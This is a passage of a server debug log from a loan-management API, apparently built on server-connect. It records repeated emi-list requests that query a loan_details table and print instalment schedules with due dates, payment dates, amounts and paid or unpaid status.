    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-06-29T05:32:36.861Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:36.862Z server-connect:app Executing action step identify
2026-06-29T05:32:36.862Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:36.862Z server-connect:output identity: 1
2026-06-29T05:32:36.862Z server-connect:app Executing action step restrict
2026-06-29T05:32:36.862Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:36.863Z server-connect:output restrict: undefined
2026-06-29T05:32:36.863Z server-connect:app Executing action step select
2026-06-29T05:32:36.863Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:36.864Z server-connect:output list: [
  {
    id: 450,
    loan_id: 25,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 2674,
    status: 1
  },
  {
    id: 451,
    loan_id: 25,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 2674,
    status: 1
  },
  {
    id: 452,
    loan_id: 25,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 453,
    loan_id: 25,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 454,
    loan_id: 25,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 455,
    loan_id: 25,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 456,
    loan_id: 25,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 457,
    loan_id: 25,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 458,
    loan_id: 25,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 459,
    loan_id: 25,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 460,
    loan_id: 25,
    due_date: '2027-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 461,
    loan_id: 25,
    due_date: '2027-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 462,
    loan_id: 25,
    due_date: '2027-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 463,
    loan_id: 25,
    due_date: '2027-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 464,
    loan_id: 25,
    due_date: '2027-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 465,
    loan_id: 25,
    due_date: '2027-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 466,
    loan_id: 25,
    due_date: '2027-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 467,
    loan_id: 25,
    due_date: '2027-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 468,
    loan_id: 25,
    due_date: '2027-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 469,
    loan_id: 25,
    due_date: '2027-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 470,
    loan_id: 25,
    due_date: '2028-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 471,
    loan_id: 25,
    due_date: '2028-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 472,
    loan_id: 25,
    due_date: '2028-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 2674,
    status: 0
  },
  {
    id: 474,
    loan_id: 25,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 2674,
    status: 1
  }
]
2026-06-29T05:32:46.411Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:46.412Z server-connect:app Executing action step identify
2026-06-29T05:32:46.412Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:46.412Z server-connect:output identity: 1
2026-06-29T05:32:46.412Z server-connect:app Executing action step restrict
2026-06-29T05:32:46.412Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:46.412Z server-connect:output restrict: undefined
2026-06-29T05:32:46.412Z server-connect:app Executing action step select
2026-06-29T05:32:46.413Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:46.414Z server-connect:output list: [
  {
    id: 475,
    loan_id: 26,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 3369,
    status: 1
  },
  {
    id: 476,
    loan_id: 26,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 3369,
    status: 1
  },
  {
    id: 477,
    loan_id: 26,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 3369,
    status: 1
  },
  {
    id: 478,
    loan_id: 26,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 479,
    loan_id: 26,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 480,
    loan_id: 26,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 481,
    loan_id: 26,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 482,
    loan_id: 26,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 483,
    loan_id: 26,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 484,
    loan_id: 26,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 485,
    loan_id: 26,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 486,
    loan_id: 26,
    due_date: '2027-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 487,
    loan_id: 26,
    due_date: '2027-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 488,
    loan_id: 26,
    due_date: '2027-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 489,
    loan_id: 26,
    due_date: '2027-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 490,
    loan_id: 26,
    due_date: '2027-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 491,
    loan_id: 26,
    due_date: '2027-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 492,
    loan_id: 26,
    due_date: '2027-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 493,
    loan_id: 26,
    due_date: '2027-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 494,
    loan_id: 26,
    due_date: '2027-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 495,
    loan_id: 26,
    due_date: '2027-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 496,
    loan_id: 26,
    due_date: '2028-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 497,
    loan_id: 26,
    due_date: '2028-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 498,
    loan_id: 26,
    due_date: '2028-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 499,
    loan_id: 26,
    due_date: '2028-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 500,
    loan_id: 26,
    due_date: '2028-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 501,
    loan_id: 26,
    due_date: '2028-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 502,
    loan_id: 26,
    due_date: '2028-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 503,
    loan_id: 26,
    due_date: '2028-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 504,
    loan_id: 26,
    due_date: '2028-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 505,
    loan_id: 26,
    due_date: '2028-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 506,
    loan_id: 26,
    due_date: '2028-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 507,
    loan_id: 26,
    due_date: '2028-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 508,
    loan_id: 26,
    due_date: '2029-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 509,
    loan_id: 26,
    due_date: '2029-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 3369,
    status: 0
  },
  {
    id: 511,
    loan_id: 26,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 3369,
    status: 1
  }
]
2026-06-29T05:32:48.507Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:48.507Z server-connect:app Executing action step identify
2026-06-29T05:32:48.507Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:48.508Z server-connect:output identity: 1
2026-06-29T05:32:48.508Z server-connect:app Executing action step restrict
2026-06-29T05:32:48.508Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:48.509Z server-connect:output restrict: undefined
2026-06-29T05:32:48.509Z server-connect:app Executing action step select
2026-06-29T05:32:48.509Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:48.511Z server-connect:output list: [
  {
    id: 512,
    loan_id: 27,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 513,
    loan_id: 27,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 514,
    loan_id: 27,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 515,
    loan_id: 27,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 516,
    loan_id: 27,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 517,
    loan_id: 27,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 518,
    loan_id: 27,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 519,
    loan_id: 27,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 520,
    loan_id: 27,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 521,
    loan_id: 27,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 522,
    loan_id: 27,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 523,
    loan_id: 27,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 524,
    loan_id: 27,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 525,
    loan_id: 27,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 526,
    loan_id: 27,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 527,
    loan_id: 27,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 528,
    loan_id: 27,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 529,
    loan_id: 27,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 530,
    loan_id: 27,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 531,
    loan_id: 27,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 532,
    loan_id: 27,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 533,
    loan_id: 27,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 534,
    loan_id: 27,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 535,
    loan_id: 27,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 536,
    loan_id: 27,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 537,
    loan_id: 27,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 538,
    loan_id: 27,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 539,
    loan_id: 27,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 540,
    loan_id: 27,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 541,
    loan_id: 27,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 542,
    loan_id: 27,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 543,
    loan_id: 27,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 544,
    loan_id: 27,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 545,
    loan_id: 27,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 546,
    loan_id: 27,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 547,
    loan_id: 27,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-06-29T05:32:51.306Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:51.306Z server-connect:app Executing action step identify
2026-06-29T05:32:51.306Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:51.306Z server-connect:output identity: 1
2026-06-29T05:32:51.306Z server-connect:app Executing action step restrict
2026-06-29T05:32:51.306Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:51.307Z server-connect:output restrict: undefined
2026-06-29T05:32:51.307Z server-connect:app Executing action step select
2026-06-29T05:32:51.307Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:51.307Z server-connect:output list: [
  {
    id: 548,
    loan_id: 28,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5889,
    status: 1
  },
  {
    id: 549,
    loan_id: 28,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5889,
    status: 1
  },
  {
    id: 550,
    loan_id: 28,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 5889,
    status: 1
  },
  {
    id: 551,
    loan_id: 28,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5889,
    status: 0
  },
  {
    id: 552,
    loan_id: 28,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5889,
    status: 0
  },
  {
    id: 553,
    loan_id: 28,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5889,
    status: 0
  },
  {
    id: 554,
    loan_id: 28,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5889,
    status: 0
  },
  {
    id: 555,
    loan_id: 28,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5889,
    status: 0
  },
  {
    id: 556,
    loan_id: 28,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5889,
    status: 0
  }
]
2026-06-29T05:32:54.660Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:54.660Z server-connect:app Executing action step identify
2026-06-29T05:32:54.660Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:54.660Z server-connect:output identity: 1
2026-06-29T05:32:54.660Z server-connect:app Executing action step restrict
2026-06-29T05:32:54.661Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:54.661Z server-connect:output restrict: undefined
2026-06-29T05:32:54.661Z server-connect:app Executing action step select
2026-06-29T05:32:54.661Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:54.663Z server-connect:output list: [
  {
    id: 557,
    loan_id: 29,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 22754,
    status: 1
  },
  {
    id: 558,
    loan_id: 29,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 22754,
    status: 1
  },
  {
    id: 559,
    loan_id: 29,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 22754,
    status: 1
  },
  {
    id: 560,
    loan_id: 29,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 561,
    loan_id: 29,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 562,
    loan_id: 29,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 563,
    loan_id: 29,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 564,
    loan_id: 29,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 565,
    loan_id: 29,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 566,
    loan_id: 29,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 567,
    loan_id: 29,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 568,
    loan_id: 29,
    due_date: '2027-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 569,
    loan_id: 29,
    due_date: '2027-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 570,
    loan_id: 29,
    due_date: '2027-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 571,
    loan_id: 29,
    due_date: '2027-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 572,
    loan_id: 29,
    due_date: '2027-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 573,
    loan_id: 29,
    due_date: '2027-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 574,
    loan_id: 29,
    due_date: '2027-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 575,
    loan_id: 29,
    due_date: '2027-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 576,
    loan_id: 29,
    due_date: '2027-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 577,
    loan_id: 29,
    due_date: '2027-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 578,
    loan_id: 29,
    due_date: '2028-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 579,
    loan_id: 29,
    due_date: '2028-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 580,
    loan_id: 29,
    due_date: '2028-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 581,
    loan_id: 29,
    due_date: '2028-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 582,
    loan_id: 29,
    due_date: '2028-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 583,
    loan_id: 29,
    due_date: '2028-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 584,
    loan_id: 29,
    due_date: '2028-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 585,
    loan_id: 29,
    due_date: '2028-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 586,
    loan_id: 29,
    due_date: '2028-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 587,
    loan_id: 29,
    due_date: '2028-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 588,
    loan_id: 29,
    due_date: '2028-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 589,
    loan_id: 29,
    due_date: '2028-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22754,
    status: 0
  },
  {
    id: 590,
    loan_id: 29,
